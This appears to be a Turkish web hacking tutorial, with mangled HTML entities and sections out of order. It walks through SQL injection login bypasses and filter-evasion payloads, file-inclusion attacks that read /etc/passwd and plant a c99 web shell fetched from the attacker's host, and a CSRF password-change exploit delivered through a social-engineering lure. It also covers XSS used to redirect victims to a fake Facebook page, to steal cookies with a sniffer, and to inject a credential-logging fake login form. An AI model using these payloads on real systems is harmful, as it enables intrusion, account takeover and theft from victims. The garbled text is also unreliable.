Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
